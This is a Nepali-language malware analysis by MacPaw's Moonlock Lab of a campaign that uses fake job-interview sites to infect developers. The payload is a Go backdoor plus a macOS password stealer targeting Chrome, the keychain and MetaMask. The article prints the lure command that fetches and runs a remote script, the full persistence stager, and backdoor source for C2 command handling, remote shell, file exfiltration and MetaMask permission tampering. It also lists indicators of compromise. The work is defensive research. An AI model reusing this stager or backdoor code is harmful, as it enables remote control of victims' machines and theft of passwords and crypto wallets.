paint-brush
साइबर अपराधीहरूले क्रिप्टो चोरी गर्न नक्कली जागिर सूचीहरू प्रयोग गरिरहेका छन्द्वारा@moonlock
2,675 पढाइहरू
2,675 पढाइहरू

साइबर अपराधीहरूले क्रिप्टो चोरी गर्न नक्कली जागिर सूचीहरू प्रयोग गरिरहेका छन्

द्वारा Moonlock (by MacPaw)19m2025/02/13
Read on Terminal Reader

धेरै लामो; पढ्नकाे लागि

एउटा चलिरहेको साइबर अभियानले नक्कली अन्तर्वार्ता वेबसाइटहरू मार्फत जागिर खोज्नेहरूलाई लक्षित गरिरहेको छ, उनीहरूलाई नक्कली तर अत्यधिक प्रभावकारी ब्याकडोर डाउनलोड गर्न ठगिरहेको छ। अस्पष्ट प्रविधिहरू प्रयोग गर्ने परिष्कृत मालवेयर भन्दा फरक, यो आक्रमण सरलतामा निर्भर गर्दछ। अझ बढी चिन्ताको विषय भनेको क्रिप्टोकरेन्सी-सम्बन्धित क्रोम एक्सटेन्सन मेटामास्कको अनुमतिहरू अपहरण गर्ने यसको प्रयास हो।
featured image - साइबर अपराधीहरूले क्रिप्टो चोरी गर्न नक्कली जागिर सूचीहरू प्रयोग गरिरहेका छन्
Moonlock (by MacPaw) HackerNoon profile picture
0-item

म्याकपाको मुनलक ल्याब टोलीद्वारा लिखित


एउटा चलिरहेको साइबर अभियानले नक्कली अन्तर्वार्ता वेबसाइटहरू मार्फत जागिर खोज्नेहरूलाई लक्षित गरिरहेको छ, उनीहरूलाई नक्कली तर अत्यधिक प्रभावकारी ब्याकडोर डाउनलोड गर्न ठगिरहेको छ। अस्पष्ट प्रविधिहरू प्रयोग गर्ने परिष्कृत मालवेयरको विपरीत, यो आक्रमण सरलतामा निर्भर गर्दछ - गो बाइनरीसँगै स्रोत कोड डेलिभर गर्दै, यसलाई क्रस-प्लेटफर्म बनाउँछ। अझ बढी चिन्ताको विषय भनेको क्रिप्टोकरेन्सी-सम्बन्धित क्रोम एक्सटेन्सन मेटामास्कको अनुमतिहरू अपहरण गर्ने प्रयास हो, जसले सम्भावित रूपमा पीडितहरूको वालेटहरू निकाल्छ।


अभियान सक्रिय छ, नयाँ डोमेनहरू नियमित रूपमा देखा पर्दै थप पीडितहरूलाई आकर्षित गर्छन्। धेरै व्यक्तिगत सुरक्षा अनुसन्धानकर्ताहरू र कम्पनीहरू, जस्तै सेन्टिनेलवन , dmpdump , र ENKI सेतो टोपी , उत्कृष्ट विश्लेषणहरू प्रकाशित गरेका छन्। हाम्रो टोलीले स्वतन्त्र अनुसन्धान गरेको छ, र यस लेखमा, हामी हाम्रा निष्कर्षहरू र शिकार रणनीतिहरू साझा गर्छौं।


मुनलक ल्याब टोलीले अक्टोबर ९, २०२४ मा यो ठ्याक्कै मालवेयर ट्र्याक गर्न थाल्यो, जब ब्याकडोरको पहिलो कम्पोनेन्टहरू देखा पर्न थाले। ब्याकडोर भनेको एक प्रकारको मालिसियस सफ्टवेयर हो जुन प्रणालीमा लुकेको हुन्छ र खतरा अभिनेताहरूलाई टाढाबाट आदेशहरू कार्यान्वयन गर्न अनुमति दिन्छ, मानौं तिनीहरू वर्कस्टेशनका वैध मालिकहरू हुन्। यी आक्रमणहरूले सामान्यतया तथाकथित C2 (कमाण्ड र नियन्त्रण) सर्भरहरू प्रयोग गर्छन् जसले आदेशहरू पठाउन र कार्यान्वयन गर्दछ।


यस आक्रमणलाई हामीले सामान्यतया अवलोकन गर्ने अन्य आक्रमणहरू भन्दा फरक पार्ने कुरा के हो भने यसमा धेरै चरणहरू हुन्छन् र एकल-शट डेटा-चोरी प्रवाह प्रयोग गर्नुको सट्टा पीडितको मेसिनमा निरन्तर रहनको लागि डिजाइन गरिएको हो। आक्रमण चरणहरूको पूर्ण सिंहावलोकन तलको छविमा देख्न सकिन्छ।



हामीले याद गरेको X मा पहिलो राम्रोसँग संरचित थ्रेड द्वारा पोस्ट गरिएको थियो @तायभानो_ , जसले ब्लकचेन कम्पनीहरूमा जागिर खोज्ने सफ्टवेयर विकासकर्ताहरूलाई लक्षित गर्ने सम्भावित दुर्भावनापूर्ण अभियानको बारेमा जानकारी साझा गरे।


' सामान्यतया क्राकेन, MEXC, जेमिनी, मेटा जस्ता ज्ञात कम्पनीबाट "भर्तीकर्ता" बाट सुरु हुन्छ। तलब दायरा + सन्देश शैली आकर्षक छ - सक्रिय रूपमा जागिर खोज्नेहरूका लागि पनि। प्रायः Linkedin मार्फत। साथै फ्रीलान्सर साइटहरू, जागिर साइटहरू, tg, discord, आदि।


यस मालवेयरको पछिल्लो संस्करण प्राप्त गर्न, नक्कली अन्तर्वार्ता साइटहरू होस्ट गर्ने नयाँ डोमेनहरूको निगरानी गर्नु आवश्यक थियो। यस उद्देश्यका लागि, हाम्रो टोलीले यी डोमेनहरूले साझा गर्ने दुई अपरिवर्तित सूचकहरूमा भर पर्यो:


  • समान URL ढाँचा “/video-questions/create/” र त्यसपछि हार्डकोड गरिएको ID:

स्रोत: urlscan.io

  • पृष्ठहरूमा उही छवि ( logo.png ):

स्रोत: urlscan.io


यस अभियानको क्रममा प्रयोग गरिएका केही डोमेनहरू बन्द गरिँदै भए पनि, नयाँहरू देखा पर्न जारी छन्, जसमा सबैभन्दा पछिल्लो डोमेन अझै अनलाइन छ: smarthiretop[.]online । हाम्रो टोलीले नोभेम्बर २०२४ देखि २० भन्दा बढी सक्रिय डोमेनहरू देखेको छ।

डोमेनहरूको अनुसन्धान गरेपछि, हामीले पत्ता लगायौं कि तिनीहरूमध्ये केहीले एउटै IP ठेगाना साझा गर्छन्। यो प्रायः हुन्छ किनभने आक्रमणकारीहरूले बुलेटप्रुफ होस्टिङ प्रदायकहरू प्रयोग गर्छन्, जसले एउटै सर्भरमा धेरै डोमेनहरू होस्ट गर्न अनुमति दिन्छ। थप रूपमा, एउटै IP मा धेरै डोमेनहरू होस्ट गर्नाले खतरा अभिनेताहरूलाई ब्याकएन्ड पूर्वाधार परिवर्तन नगरी डोमेनहरू घुमाउन सक्षम बनाउँछ।

यो दुर्भावनापूर्ण पूर्वाधार विश्वव्यापी रूपमा वितरित विभिन्न सेवाहरूमा होस्ट गरिएको छ। तलको नक्सामा देखाइए अनुसार, धेरैजसो सर्भरहरू अमेरिकामा अवस्थित छन्, केही अन्य देशहरूमा फैलिएका छन्।


अन्तर्वार्ता लिनेहरूलाई कार्यान्वयन गर्न भनिएको मालिसियस कमान्ड उनीहरूले मालिसियस वेबसाइट भ्रमण गर्दा देखा पर्ने विन्डोमा लुकेको हुन्छ। यो एक JS कोड हो, यस अवस्थामा main.39e5a388.js फाइलमा बन्डल गरिएको। त्यस्ता फाइलनामहरू सामान्यतया वेब अनुप्रयोगको निर्माण प्रक्रियाको क्रममा ह्यासिङ वा फिंगरप्रिन्टिङ संयन्त्र प्रयोग गरेर उत्पन्न गरिन्छ (सन्दर्भ:) https://urlscan.io/result/0ad23f64-4d61-49c8-8ed8-0d33a07419f4 )।


एउटा पृष्ठमा निम्न SHA256 ह्यास सहितको यो इम्बेडेड JS फाइल छ:

  • f729af8473bf98f848ef2dde967d8d301fb71888ee3639142763ebb16914c803


हामी सजिलैसँग देख्न सक्छौं कि निर्मित JS फाइल भित्र उही आदेशहरू छन् जुन पीडितहरूलाई प्रविष्ट गर्न भनिएको थियो:


धम्की दिने व्यक्तिले मालवेयर कसरी फैलाउँछ भनेर बुझेपछि, हाम्रो प्राथमिक लक्ष्य द्रुत रूपमा नमूनाहरू फेला पार्नु र हाम्रा प्रयोगकर्ताहरूको लागि हस्ताक्षरहरू विकास गर्नु थियो। हामीले फेला पारेको "उत्पादन-तयार" नमूनाहरू र तिनीहरूको SHA-256 ह्यासहरूको पहिलो प्रत्यक्ष उल्लेख यस थ्रेडमा थियो:

https://x.com/dimitribest/status/1873343968894689472


यसमा पाँच ह्यासहरू समावेश थिए, जसको लागि:

  • ९६e७८०७४२१८a0f272f7f94805cabde1ef8d64ffb *फाइल.जिप;
  • ८६dea05a8f40cf3195e3a6056f2e968c861ed8f1 *नोडजेएस.जिप;
  • ३२१९७२e४e७२c५३६४ec१d५b९e४८८d१५c६४१fb१८१९ *एनभिडिया-रियल.जिप;
  • ३४०५४६९८११bae511e62cb0a4062aadb523cad263 *VCam_arm64.zip;
  • c0baa450c5f3b6aacde2807642222f6d22d5b4bb *VCam_intel.zip.


यसका अतिरिक्त, हाम्रो टोलीले पीडितहरू जस्तै हामीलाई पनि डाउनलोड गर्न ठगिएको जस्तो गरी दुर्भावनापूर्ण स्क्रिप्टहरू ल्याउन थाल्यो। एक बिन्दुमा, नक्कली अन्तर्वार्ता वेबसाइटहरूमा निम्न आदेश प्रयोग गरिएको थियो:

स्क्रिनसटबाट आदेश (कार्यान्वयन नगर्नुहोस्!):

 sudo sh -c 'curl -k -o /var/tmp/ffmpeg.sh https://api.nvidia-release.org/ffmpeg-ar.sh && chmod +x /var/tmp/ffmpeg.sh && nohup bash /var/tmp/ffmpeg.sh >/dev/null 2>&1 &'


यसले तल सूचीबद्ध कार्यहरू गर्दछ:

  • api[.]nvidia-release[.]org; बाट ffmpeg-ar.sh फाइल ल्याउँछ।
  • यसलाई /var/tmp/ffmpeg.sh मा भण्डारण गर्छ;
  • फाइल कार्यान्वयन गर्छ र प्रयोगकर्ताबाट लुकाउन सबै आउटपुटलाई /dev/null मा रिडिरेक्ट गर्छ।


अस्थायी फोल्डरमा सुरक्षित गरिएको ffmpeg.sh फाइल भित्र, हामी यो आक्रमणको लागि प्रविष्टि बिन्दु फेला पार्न सक्छौं, जसमा समावेश छ:

  • पेलोडको साथ दोस्रो-चरणको जिप फाइलहरू डाउनलोड गर्दै;
  • PLIST फाइल राख्ने र निरन्तरताको लागि सेवा दर्ता गर्ने;
  • सरसफाइ गर्दै।


तलको स्क्रिप्टबाट हामीले देख्न सक्छौं, यो विशेष गरी macOS को लागि डिजाइन गरिएको हो, Intel र ARM दुवै प्रकारहरू। यसले हालको CPU मोडेल परिभाषित गरेपछि, यसले धेरै फाइलहरू सहितको ZIP संग्रह डाउनलोड गर्दछ। यस स्क्रिप्टको थप विस्तृत समीक्षा यहाँ पाउन सकिन्छ यो ब्लग , SentinelOne ले आफ्नो मा उल्लेख गरे अनुसार हालैको रिपोर्ट

 #!/bin/bash # Define variables for URLs ZIP_URL_ARM64="https://api.nvidia-cloud.online/VCam1.update" ZIP_URL_INTEL="https://api.nvidia-cloud.online/VCam2.update" ZIP_FILE="/var/tmp/VCam.zip" # Path to save the downloaded ZIP file WORK_DIR="/var/tmp/VCam" # Temporary directory for extracted files EXECUTABLE="vcamservice.sh" # Replace with the name of the executable file inside the ZIP APP="ChromeUpdateAlert.app" # Replace with the name of the app to open PLIST_FILE=~/Library/LaunchAgents/com.vcam.plist # Path to the plist file # Determine CPU architecture case $(uname -m) in arm64) ZIP_URL=$ZIP_URL_ARM64 ;; x86_64) ZIP_URL=$ZIP_URL_INTEL ;; *) exit 1 ;; # Exit for unsupported architectures esac # Create working directory mkdir -p "$WORK_DIR" # Function to clean up cleanup() { rm -rf "$ZIP_FILE" } # Download, unzip, and execute if curl -s -o "$ZIP_FILE" "$ZIP_URL" && [[ -f "$ZIP_FILE" ]]; then unzip -o -qq "$ZIP_FILE" -d "$WORK_DIR" if [[ -f "$WORK_DIR/$EXECUTABLE" ]]; then chmod +x "$WORK_DIR/$EXECUTABLE" else cleanup exit 1 fi else cleanup exit 1 fi # Step 4: Register the service mkdir -p ~/Library/LaunchAgents cat > "$PLIST_FILE" <<EOL <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.vcam</string> <key>ProgramArguments</key> <array> <string>$WORK_DIR/$EXECUTABLE</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <false/> </dict> </plist> EOL chmod 644 "$PLIST_FILE" if ! launchctl list | grep -q "com.vcam"; then launchctl load "$PLIST_FILE" fi # Step 5: Run ChromeUpdateAlert.app if [[ -d "$WORK_DIR/$APP" ]]; then open "$WORK_DIR/$APP" & fi # Final cleanup cleanup

सन्दर्भ: भाइरसकुल


स्क्रिप्टले ल्याउने अभिलेख (Intel CPU को लागि संस्करण) को सामग्रीहरू तल सूचीबद्ध छन्:

अभिलेखमा रहेका सबै फाइलहरूलाई केही समूहहरूमा वर्गीकृत गर्न सकिन्छ:

  • गो स्रोत कोड र यसको बाइनरीका भागहरू ( https://github.com/golang/go )
  • ChromeUpdateAlert.app – प्रयोगकर्ताको IP र पासवर्ड सङ्कलन गर्ने Mach-O बाइनरी भएको AppBundle
  • गोप्य रूपमा लेखिएको पछाडिको ढोकाचोर
  • vcamservice.sh - एउटा स्क्रिप्ट जसले मुख्य Go-आधारित कार्यान्वयनयोग्य फाइल सुरु गर्छ।


चाखलाग्दो कुरा के छ भने, अभिलेख लगभग ७५ एमबी आकारको छ, मुख्यतया किनभने यसमा वैध गो पुस्तकालयहरू र बाइनरीहरूका धेरै भागहरू समावेश छन्।

Mach-O पासवर्ड चोरको विश्लेषण

यस आक्रमणमा हामीले लामो समयसम्म प्रयोग भइरहेको देखेका फाइलहरू मध्ये एउटा CameraAccess ( SHA256: 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a ) नामक २ आर्किटेक्चर भएको Mach-O युनिभर्सल बाइनरी हो।


यसले गुगल क्रोम आइकनको रूपमा भेष बदल्छ, जसले गर्दा नियमित प्रयोगकर्ताहरूलाई फाइल वैध छ भन्ने विश्वास हुन्छ र तिनीहरूलाई मेटाउनबाट रोक्छ।

कोड स्विफ्टमा लेखिएको छ, र कुनै बलियो अस्पष्टता प्रविधिहरू पत्ता लागेनन्, जसले गर्दा कार्यान्वयन प्रवाह बुझ्न अपेक्षाकृत सजिलो भयो।

यसले प्रणाली सूचना विन्डो जस्तो देखिने विन्डो देखाउँछ, जसले प्रयोगकर्तालाई माइक्रोफोन पहुँच प्रदान गर्न आग्रह गर्दछ, जुन गुगल क्रोम अनुप्रयोगबाट अनुरोध गरिएको मानिन्छ।

प्रयोगकर्ताले "Remind Me Later" चयन गरे पनि, पासवर्ड प्रम्प्ट विन्डो अझै पनि देखा पर्दछ।

एपले माइक्रोफोन पहुँच आवश्यक पर्ने दाबी गर्छ; यद्यपि, यो स्यान्डबक्स गरिएको छ, र माइक्रोफोनको लागि कुनै वास्तविक अनुमति अनुरोध गरिएको छैन।

प्रयोगकर्ताले आफ्नो पासवर्ड प्रविष्ट गरेपछि, मालवेयरले यसलाई चलिरहेको होस्टको बाह्य IP ठेगाना अनुरोध गर्दछ। त्यसपछि यसले password.txt फाइललाई प्रयोगकर्ताको बाह्य IP ठेगानाको नामबाट नामकरण गरिएको Dropbox फोल्डरमा पठाउँछ।

तलको स्क्रिनसटमा Dropbox API URL देख्न सकिन्छ।

नेटवर्क ट्राफिकको जाँच गर्दा, हामीले पीडितको सार्वजनिक आईपी ठेगाना पुन: प्राप्त गर्ने प्रयासहरू देख्न सक्छौं।

IP ठेगाना प्राप्त भएपछि, हामी हार्डकोड गरिएका प्रमाणहरू प्रयोग गरेर IP-पासवर्ड जोडी अपलोड गर्न Dropbox मा अनुरोधहरू देख्न सक्छौं।

हाम्रो टोलीले यो घटना ड्रपबक्सलाई रिपोर्ट गर्‍यो, साथै यो दुर्व्यवहारपूर्ण अभियान सञ्चालन गर्न प्रयोग गरिएका प्रमाणहरू पनि समावेश गर्‍यो।

गो-लिखित ब्याकडोरको विश्लेषण

यो कुरा ध्यान दिनु महत्त्वपूर्ण छ कि ffmpeg.sh स्क्रिप्टद्वारा डाउनलोड गरिएको ZIP फाइलमा ब्याकडोरको प्लेनटेक्स्ट सोर्स कोड समावेश छ, जसको अर्थ यो न त पूर्व-कम्पाइल गरिएको थियो न त अस्पष्ट नै। यसले विश्लेषणलाई उल्लेखनीय रूपमा गति दियो तर उचित एट्रिब्युशनको बारेमा पनि प्रश्नहरू उठायो। भन्नु पर्दैन, DPRK का APT समूहहरू सामान्यतया धेरै परिष्कृत हुन्छन्।


अर्को असामान्य रणनीति भनेको पूर्ण कोड संकलन गर्नुको सट्टा अभिलेखमा गो बाइनरी ( /bin/go ) समावेश गर्नु हो। यद्यपि, धेरै अपरेटिङ सिस्टमहरूमा गो पूर्वनिर्धारित अनुप्रयोग नभएकोले, खतरा अभिनेताहरूले यसलाई राम्रो अनुकूलताको लागि समावेश गरेको हुन सक्छ। मालवेयर क्रस-प्लेटफर्म हो र एकै समयमा म्याकओएस, लिनक्स र विन्डोजलाई लक्षित गर्दछ भन्ने कुरालाई ध्यानमा राख्दै यो अर्थपूर्ण छ।


प्रत्येक उल्लेखनीय नमूनाको सम्बन्ध र विस्तृत विवरण चित्रण गर्ने ग्राफ यहाँ पाउन सकिन्छ: सारांश

प्रवेश बिन्दु

अभिलेख भित्र, vcamupdate.sh भनिने स्क्रिप्ट छ। यो अनप्याक गरेपछि तुरुन्तै चल्छ र मुख्य गोलङ अनुप्रयोग (यस अवस्थामा app.go ) मा मार्ग पार गर्दा /bin/go (जुन ZIP मा बन्डल गरिएको छ) कार्यान्वयन गर्दछ।

 #!/bin/bash # Set the working directory to the folder where this script is located cd "$(dirname "$0")" echo "Installing Dependencies..." project_file="app.go" ./bin/go run "$project_file" exit 0


प्रविष्टि अनुप्रयोग ( app.go ) प्रयोगकर्ताको कार्यस्थानको लागि एक अद्वितीय UUID उत्पन्न गर्ने, C2 URL सुरु गर्ने र मुख्य लूप सुरु गर्ने जिम्मेवारी हो। कोडमा हामी एकल-लाइन टिप्पणीहरू, समर्थन सन्देशहरूको प्रिन्टहरू, र केही टिप्पणी-आउट कोड देख्न सक्छौं। यसमा सम्भवतः परीक्षणको लागि बनाइएका URLहरू पनि समावेश छन्, विकासकर्ताहरूले हटाउन बिर्सिएका छन्। मुख्य अभियानमा C2 IP ठेगाना फरक भए तापनि, २०२४ का नमूनाहरूले समान कार्यक्षमता साझा गरे र समान डेटालाई लक्षित गरे।


पछि core.StartMainLoop(id, url) मा कल गर्दा हामीलाई loop.gowork.go फाइलहरू भएको core/ फोल्डरमा ल्याउँछ। loop.go फाइल मुख्यतया C2 बाट आदेशहरू प्राप्त गर्ने र कार्यान्वयन गर्ने, संवेदनशील डेटा सङ्कलन गर्ने सबमोड्युलहरू कल गर्ने र रिमोट सर्भरमा अपलोड गर्ने जिम्मेवारी हो। यसमा धेरै प्रकार्यहरू छन्, जसमध्ये ८ हामी हाइलाइट गर्न र थप विवरणमा अन्वेषण गर्न चाहन्छौं।

प्रकार्य StartMainLoop

यो प्रकार्यले उपलब्ध आदेशहरू सुरु गर्न र आगमन आदेशहरू सुन्न कन्फिग सबमोड्युल प्रयोग गर्दछ। तल तपाईंले सबै आदेशहरू र तिनीहरूको सम्बन्धित कोडहरू सहितको तालिका पाउन सक्नुहुन्छ। ब्याकडोर कार्यक्षमताको थप विस्तृत विश्लेषण मा पाउन सकिन्छ यो प्रकाशन

आदेशको नाम

एन्कोड गरिएको नाम

विवरण

आदेश जानकारी

क्वियर

प्रयोगकर्ता नाम, होस्ट, ओएस, आर्क प्राप्त गर्नुहोस्

आदेश_अपलोड गर्नुहोस्

एएसडीएफ

C2 बाट होस्टमा मनमानी अभिलेख अपलोड र डिकम्प्रेस गर्नुहोस्

आदेश_डाउनलोड गर्नुहोस्

zxcv

चोरी भएको डेटा C2 मा डाउनलोड गर्नुहोस्

कमाण्ड_ओएसशेल

भीबीसीएक्स

होस्ट र C2 बीच अन्तरक्रियात्मक शेल सुरु गर्नुहोस् (मनमानी रिमोट आदेशहरू कार्यान्वयन गर्नुहोस्)

कमाण्ड_अटो

r4ys ले तपाईंलाई

संवेदनशील डेटा स्वचालित रूपमा सङ्कलन गर्नुहोस्

आदेश_पर्खनुहोस्

घिमिरे

X सेकेन्ड पर्खनुहोस्

आदेश_निकास

dghh

मुख्य लूपबाट बाहिर निस्कनुहोस् (सेट लाइभ = गलत)

C2 बाट प्राप्त आदेशको आधारमा, उपयुक्त प्रकार्य बोलाइनेछ।

 func StartMainLoop(id string, url string) { var ( msg_type string msg_data [][]byte msg string cmd string cmd_type string cmd_data [][]byte alive bool ) // initialize cmd_type = config.COMMAND_INFO alive = true for alive { func() { // recover panic state defer func() { if r := recover(); r != nil { cmd_type = config.COMMAND_INFO time.Sleep(config.DURATION_ERROR_WAIT) } }() switch cmd_type { case config.COMMAND_INFO: msg_type, msg_data = processInfo() case config.COMMAND_UPLOAD: msg_type, msg_data = processUpload(cmd_data) case config.COMMAND_DOWNLOAD: msg_type, msg_data = processDownload(cmd_data) case config.COMMAND_OSSHELL: msg_type, msg_data = processOsShell(cmd_data) case config.COMMAND_AUTO: msg_type, msg_data = processAuto(cmd_data) case config.COMMAND_WAIT: msg_type, msg_data = processWait(cmd_data) case config.COMMAND_EXIT: alive = false msg_type, msg_data = processExit() default: panic("problem") } msg = command.MakeMsg(id, msg_type, msg_data) cmd, _ = transport.HtxpExchange(url, msg) cmd_type, cmd_data = command.DecodeMsg(cmd) }() } }

प्रकार्य प्रक्रिया जानकारी

यो प्रकार्यले प्रयोगकर्ता नाम, होस्टनाम, ओएस संस्करण, र आर्किटेक्चर जस्ता आधारभूत प्रणाली जानकारी सङ्कलन गर्नेछ। यो ध्यान दिन लायक छ कि धेरैजसो लोकप्रिय इन्फोस्टेलरहरूले यो मालवेयर भन्दा धेरै बढी प्रणाली जानकारी सङ्कलन गर्छन्।

 func processInfo() (string, [][]byte) { user, _ := user.Current() host, _ := os.Hostname() os := runtime.GOOS arch := runtime.GOARCH print("user: " + user.Username + ", host: " + host + ", os: " + os + ", arch: " + arch + "\n") data := [][]byte{ []byte(user.Username), []byte(host), []byte(os), []byte(arch), []byte(config.DAEMON_VERSION), } return config.MSG_INFO, data }

प्रकार्य प्रक्रिया अपलोड गर्नुहोस्

यस अवस्थामा, अपलोडले C2 बाट संक्रमित होस्टमा अभिलेख फाइल पठाउने प्रक्रियालाई प्रतिनिधित्व गर्दछ, त्यसपछि यसको डिकम्प्रेसन हुन्छ। यसले डिकम्प्रेसन सफल भयो कि भएन भनेर पनि संकेत गर्दछ।

 func processUpload(data [][]byte) (string, [][]byte) { var log string var state string path := string(data[0]) buf := bytes.NewBuffer(data[1]) err := util.Decompress(buf, path) if err == nil { log = fmt.Sprintf("%s : %d", path, len(data[1])) state = config.LOG_SUCCESS } else { log = fmt.Sprintf("%s : %s", path, err.Error()) state = config.LOG_FAIL } return config.MSG_LOG, [][]byte{ []byte(state), []byte(log), } }

प्रकार्य प्रक्रियाडाउनलोड गर्नुहोस्

यो प्रकार्य अघिल्लोको उल्टो हो। यसले tar.gz अभिलेखमा पहिले नै सङ्कलन गरिएका फाइलहरू सहितको निर्देशिकाको कम्प्रेसन गर्दछ।

 func processDownload(data [][]byte) (string, [][]byte) { var file_data []byte var err error path := string(data[0]) _, file := filepath.Split(path) info, _ := os.Stat(path) if info.IsDir() { var buf bytes.Buffer err = util.Compress(&buf, []string{path}, false) file = fmt.Sprintf("%s.tar.gz", file) file_data = buf.Bytes() } else { file_data, err = os.ReadFile(path) } if err == nil { return config.MSG_FILE, [][]byte{[]byte(config.LOG_SUCCESS), []byte(file), file_data} } else { return config.MSG_FILE, [][]byte{[]byte(config.LOG_FAIL), []byte(err.Error())} } }

प्रकार्य प्रक्रिया OsShell

यो एउटा यस्तो प्रकार्य हो जुन एउटा वास्तविक ब्याकडोरमा हुनुपर्छ। यसले मनमानी आदेशको प्रतीक्षा गर्छ र यसलाई कार्यान्वयन गर्ने प्रयास गर्छ। एउटा आदेशमा कमाण्ड-लाइन आर्गुमेन्टहरू हुन सक्छन्, र आउटपुट सिधै C2 मा लग गरिनेछ।

 func processOsShell(data [][]byte) (string, [][]byte) { mode := string(data[0]) // mode timeout, _ := strconv.ParseInt(string(data[1]), 16, 64) shell := string(data[2]) args := make([]string, len(data[3:])) for index, elem := range data[3:] { args[index] = string(elem) } if mode == config.SHELL_MODE_WAITGETOUT { // wait and get result mode ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)) defer cancel() cmd := exec.CommandContext(ctx, shell, args...) out, err := cmd.Output() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), out, } } } else { // start and detach mode c := exec.Command(shell, args...) err := c.Start() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte(fmt.Sprintf("%s %s", shell, strings.Join(args, " "))), } } } }

प्रकार्य प्रक्रिया स्वतः

यो चोरी प्रवाहको प्रवेश बिन्दु हो। यो प्रकार्यले auto/ फोल्डरमा अवस्थित फाइलहरूमा धेरै कलहरू समावेश गर्दछ। तिनीहरूमा निम्न डेटाको ग्राबर, प्रोसेसर वा परिमार्जकहरू समावेश छन्:

  • किचेन
  • क्रोम लगइन डेटा
  • क्रोम कुकीहरू
  • क्रोम मेटामास्क एक्सटेन्सन (कुञ्जीहरू, अनुमतिहरू, आदि)
  • क्रोम प्रोफाइल
 func processAuto(data [][]byte) (string, [][]byte) { var ( msg_type string msg_data [][]byte ) mode := string(data[0]) switch mode { case config.AUTO_CHROME_GATHER: msg_type, msg_data = auto.AutoModeChromeGather() case config.AUTO_CHROME_PREFRST: msg_type, msg_data = auto.AutoModeChromeChangeProfile() case config.AUTO_CHROME_COOKIE: msg_type, msg_data = auto.AutoModeChromeCookie() case config.AUTO_CHROME_KEYCHAIN: msg_type, msg_data = auto.AutoModeMacChromeLoginData() default: msg_type = config.MSG_LOG msg_data = [][]byte{[]byte(config.LOG_FAIL), []byte("unknown auto mode")} } return msg_type, msg_data }

प्रकार्य प्रक्रिया प्रतीक्षा गर्नुहोस्

थप आदेशहरूको प्रतीक्षा गर्दै, ब्याकडोरलाई स्लीपिङ मोडमा पठाउन प्रयोग गरिने उपयोगिता प्रकार्य।

 func processWait(data [][]byte) (string, [][]byte) { duration, _ := strconv.ParseInt(string(data[0]), 16, 64) time.Sleep(time.Duration(duration)) send_data := make([]byte, 128) rand.Read(send_data) return config.MSG_PING, [][]byte{send_data} }

प्रकार्य प्रक्रिया बाहिर निस्कनुहोस्

यो C2 सँगको सञ्चारको मुख्य लूपबाट बाहिर निस्कन प्रयोग गरिने उपयोगिता प्रकार्य हो।

 func processExit() (string, [][]byte) { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte("exited"), } }

क्रोम डेटा स्वतः सङ्कलनको कार्यान्वयन

auto/ फोल्डरमा Go-apps को सेट समावेश छ:

  • आधारभूत.गो

     const ( userdata_dir_win = "AppData\\Local\\Google\\Chrome\\User Data\\" userdata_dir_darwin = "Library/Application Support/Google/Chrome/" userdata_dir_linux = ".config/google-chrome" extension_dir = "nkbihfbeogaeaoehlefnkodbefgpgknn" extension_hash_key = "protection.macs.extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" extension_setting_key = "extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" secure_preference_file = "Secure Preferences" logins_data_file = "Login Data" keychain_dir_darwin = "Library/Keychains/login.keychain-db" )
    • यहाँ हामी लक्षित डेटा क्याप्चर गर्न परिभाषित स्थिरांकहरू देख्न सक्छौं, यो स्पष्ट हुन्छ कि मुख्य फोकस मेटामास्क एक्सटेन्सनमा छ।
  • क्रोम_चेन्ज_प्रिफ.गो

     // get json string func getExtJsonString() string { return `{"active_permissions":{"api": ["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[], "scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]}, "commands":{"_execute_browser_action":{"suggested_key":"Alt+Shift+M","was_assigned":true}},"content_settings":[], "creation_flags":38,"events":[],"first_install_time":"13361518520188298","from_webstore":false, "granted_permissions":{"api":["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[],"scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]},"incognito_content_settings":[], "incognito_preferences":{},"last_update_time":"13361518520188298","location":4,"newAllowFileAccess":true,"path":"C:\\ProgramData\\11.16.0_0","preferences":{}, "regular_only_preferences":{},"state":1,"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}` }
     // chrome kill if runtime.GOOS == "windows" { cmd := exec.Command("cmd", "/c", "taskkill /f /im chrome.exe") cmd.Run() } else { cmd := exec.Command("/bin/sh", "-c", "killall chrome") cmd.Run() }
    • यसले हाल सक्रिय क्रोमका सबै प्रक्रियाहरूलाई नष्ट गर्छ, र मेटामास्क एक्सटेन्सनको लागि निश्चित अनुमतिहरू परिवर्तन गर्छ।
    • यसको व्यापक अनुमतिहरू र म्यानुअल स्थापना विधिको कारणले गर्दा JSON कन्फिगरेसनले एक्सटेन्सनको सम्भावित रूपमा दुर्भावनापूर्ण व्यवहारको सुझाव दिन्छ।
